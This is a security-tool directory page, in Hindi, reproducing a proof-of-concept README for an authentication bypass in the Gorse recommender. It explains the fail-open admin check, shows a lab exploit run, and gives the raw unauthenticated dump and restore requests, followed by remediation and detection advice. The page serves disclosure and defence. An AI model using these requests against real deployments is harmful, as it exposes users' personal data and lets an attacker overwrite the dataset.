Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-56782-Gorse-Auth-Bypass — CVE-2026-56782 — Gorse <0.5.10 अप्रमाणित DB डंप/पुनर्स्थापना (admin_api_key fail-open). Lab + PoC, verified e2e. | Kitploit
उपकरण/GitHubGitHub/biitts/cve-2026-56782-gorse-auth-bypass
भेद्यता विश्लेषणशोषणडेटा निष्कासनवेब सुरक्षाCTFपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षालैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubbiitts/cve-2026-56782-gorse-auth-bypass

CVE-2026-56782-Gorse-Auth-Bypass

CVE-2026-56782 — Gorse <0.5.10 अप्रमाणित DB डंप/पुनर्स्थापना (admin_api_key fail-open). Lab + PoC, verified e2e.

रिपॉजिटरी देखें
11 महीना पहलेअभी तक समीक्षित नहीं

CVE-2026-56782 — Gorse बिना प्रमाणीकरण के डेटाबेस डंप / पुनर्स्थापना (प्रमाणीकरण बाईपास)

Gorse < 0.5.10 admin_api_key = "" के साथ आता है। मास्टर HTTP एंडपॉइंट /api/dump और /api/restore एक प्रशासन जाँच द्वारा संरक्षित हैं जो विफल-खुला होता है जब कोई कुंजी कॉन्फ़िगर नहीं की गई हो — डिफ़ॉल्ट। एक अप्रमाणित, नेटवर्क-सुलभ हमलावर पूरे डेटासेट को बाहर निकाल सकता है (उपयोगकर्ता, आइटम, फीडबैक/PII) या इसे अधिलेखित कर सकता है।

CVECVE-2026-56782
प्रभावितGorse < 0.5.10
ठीक किया गया0.5.10
वर्गCWE-305 (प्राथमिक कमजोरी द्वारा प्रमाणीकरण बाईपास) / CWE-306 (लापता प्रमाणीकरण)
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रमाणीकरणकोई नहीं (डिफ़ॉल्ट admin_api_key खाली है)
एंडपॉइंटGET /api/dump, POST /api/restore (मास्टर HTTP, डिफ़ॉल्ट पोर्ट 8088)
स्थितिपुष्टि — zhenghaoz/gorse-in-one:0.5.8 के विरुद्ध एंड-टू-एंड पुनरुत्पादित

मूल कारण

master/rest.go डंप/पुनर्स्थापना हैंडलर को checkAdmin() से सुरक्षित करता है:

root@kitploit:~
func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- विफल-खुला: कोई कुंजी कॉन्फ़िगर नहीं => हर कोई व्यवस्थापक है
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // प्रत्येक उपयोगकर्ता, आइटम और फीडबैक पंक्ति को स्ट्रीम करता है
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — डेटासेट को अधिलेखित करता है
}

शिप किए गए config/config.toml में admin_api_key = "" सेट है। डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ, checkAdmin() हर अनुरोध के लिए true लौटाता है — X-API-Key हेडर से कभी परामर्श नहीं लिया जाता — इसलिए दोनों एंडपॉइंट विश्व-पठनीय और विश्व-लेखनीय हैं।

प्रभाव

  • गोपनीयता — GET /api/dump पूरे डेटाबेस को स्ट्रीम करता है: प्रत्येक उपयोगकर्ता आईडी और लेबल, प्रत्येक आइटम, और संपूर्ण फीडबैक ग्राफ (किसने किससे बातचीत की)। एक वास्तविक उत्पाद का समर्थन करने वाले अनुशंसाकर्ता के लिए यह बल्क PII/व्यवहार संबंधी डेटा है।
  • अखंडता/उपलब्धता — POST /api/restore डेटासेट को हमलावर द्वारा प्रदान की गई सामग्री से बदल देता है, जिससे मूक डेटा विषाक्तता या विनाश संभव हो जाता है।

पुनरुत्पादन

root@kitploit:~
# 1. कमजोर सर्वर प्रारंभ करें (आधिकारिक छवि, डिफ़ॉल्ट कॉन्फ़िगरेशन = कोई प्रमाणीकरण नहीं)।
docker compose -f lab/docker-compose.yml up -d
#    --playground बाहर निकालने के लिए एक वास्तविक उपयोगकर्ता/आइटम/फीडबैक डेटासेट बीजित करता है।

# 2. PoC चलाएँ (कोई क्रेडेंशियल नहीं)।
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

देखा गया:

root@kitploit:~
[*] GET http://127.0.0.1:8088/api/dump  (कोई X-API-Key हेडर नहीं)
[*] HTTP 200  content-type: application/octet-stream

[+] बिना प्रमाणीकरण के डेटा निकासी की पुष्टि
    उपयोगकर्ता    : 2079
    आइटम         : 22320
    फीडबैक       : 331901
    पेलोड        : 262747105 प्रोटोबफ बाइट्स
    नमूना उपयोगकर्ता आईडी : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (कोई X-API-Key हेडर नहीं, केवल EOF-निकाय)
[+] HTTP 200 (401 नहीं) - checkAdmin बायपास: /api/restore बिना प्रमाणीकरण के लिखने योग्य है।

एक नकली X-API-Key हेडर अभी भी 200 लौटाता है — यह पुष्टि करता है कि जब admin_api_key सेट नहीं है (विफल-खुला पथ) तो कुंजी पूरी तरह से अनदेखा की जाती है, न कि केवल मिलान की गई।

कच्चे अनुरोध

root@kitploit:~
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
root@kitploit:~
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<डंप स्ट्रीम: int64 LE मार्कर (-1 उपयोगकर्ता, -2 आइटम, -3 फीडबैक, 0 EOF) + लंबाई-उपसर्गित प्रोटोबफ>

उपचार

  • Gorse ≥ 0.5.10 में अपग्रेड करें, जो व्यवस्थापक जाँच से खाली-कुंजी विफल-खुला को हटा देता है (अनसेट कुंजी अब पहुँच प्रदान नहीं करती है)।
  • प्रभावित संस्करणों पर अस्थायी उपाय के रूप में, एक मजबूत admin_api_key (और dashboard क्रेडेंशियल) सेट करें, मास्टर के सामने TLS समाप्त करें, और मास्टर HTTP पोर्ट (8088) को अविश्वसनीय नेटवर्कों के लिए कभी भी उजागर न करें।

पता लगाना

किसी भी क्लाइंट से मास्टर पोर्ट पर GET /api/dump या POST /api/restore पर अलर्ट करें जिसके पास एक मान्य X-API-Key नहीं है, और /api/dump से बड़े application/octet-stream प्रतिक्रियाओं पर भी।

अनुरोध प्रवाह, डंप स्ट्रीम प्रारूप और पैच के लिए ANALYSIS.md देखें।


  • लेखक: Caio Fabrício — github.com/BiiTts
  • कमजोरी का श्रेय मूल CVE रिपोर्टर को जाता है; यह भंडार रक्षात्मक और शैक्षिक उपयोग के लिए एक स्वतंत्र पुनरुत्पादन है। केवल अधिकृत सुरक्षा परीक्षण के लिए।
टूल डाउनलोड करें